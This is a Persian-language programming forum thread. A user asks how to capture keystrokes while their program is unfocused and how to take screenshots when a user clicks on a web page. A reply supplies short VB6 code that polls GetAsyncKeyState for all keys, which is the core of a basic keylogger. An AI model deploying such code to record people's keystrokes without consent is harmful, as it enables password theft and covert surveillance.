بدست آوردن کد کلید ها در حالت غیر فوکوس

با سلام
ما می دونیم که برای بدست آوردن کد کلید ها اول تیکش رو در فرم میزنیم بعد با keycode بدست میاد ولی این فقط ماله زمانیه که فوکوس بر روی برنامه باشه و اگر اون تغییر کنه دیگه برنامه هیچ چیزی رو ثبت نمی کنه . راه حل شما در این باره چیه ؟

در ضمن چطور میتونم کاری کنم که در حالت غیر فوکوس زمانی که کاربر مثلا روی صفحه وب کلیک می کنه یه اسکرین شات بگیره ( کد اسکرین شات رو بلدم) فقط میخوام بدونم چجوری وقتی کلیک کرد بفهمم و ازش استفاده کنم ؟

با تشکر فراوان

با سلام

9 ماه گذشت واقعا کسی نمی دونست ؟

با تشکر

نقل قول:

---

نوشته شده توسط roo.row

با سلام

9 ماه گذشت واقعا کسی نمی دونست ؟

با تشکر

---

دوست عزیز نیاز نبود 9 ماه منتظر پاسخ بقیه باشی....ی جستجو ساده میزنی کلی نمونه کد می امد برات

منم الان ی نمونه کد برات میذارم ولی باقیش با خودت

ی فرم باز کن یع تکس بذار و ی تایمر این کد هم استفاده کن مشکلت حل میشه

فقط باید دنبال کد کلید هایی مثل اف ها و شیفت و اینا باشی

Dim result As Integer



Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Form_Load()

Timer1.Interval = 1

End Sub



Private Sub Timer1_Timer()



For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)



If result = -32767 Then

Text1.Text = Text1.Text + Chr(i)

End If

Next i

End Sub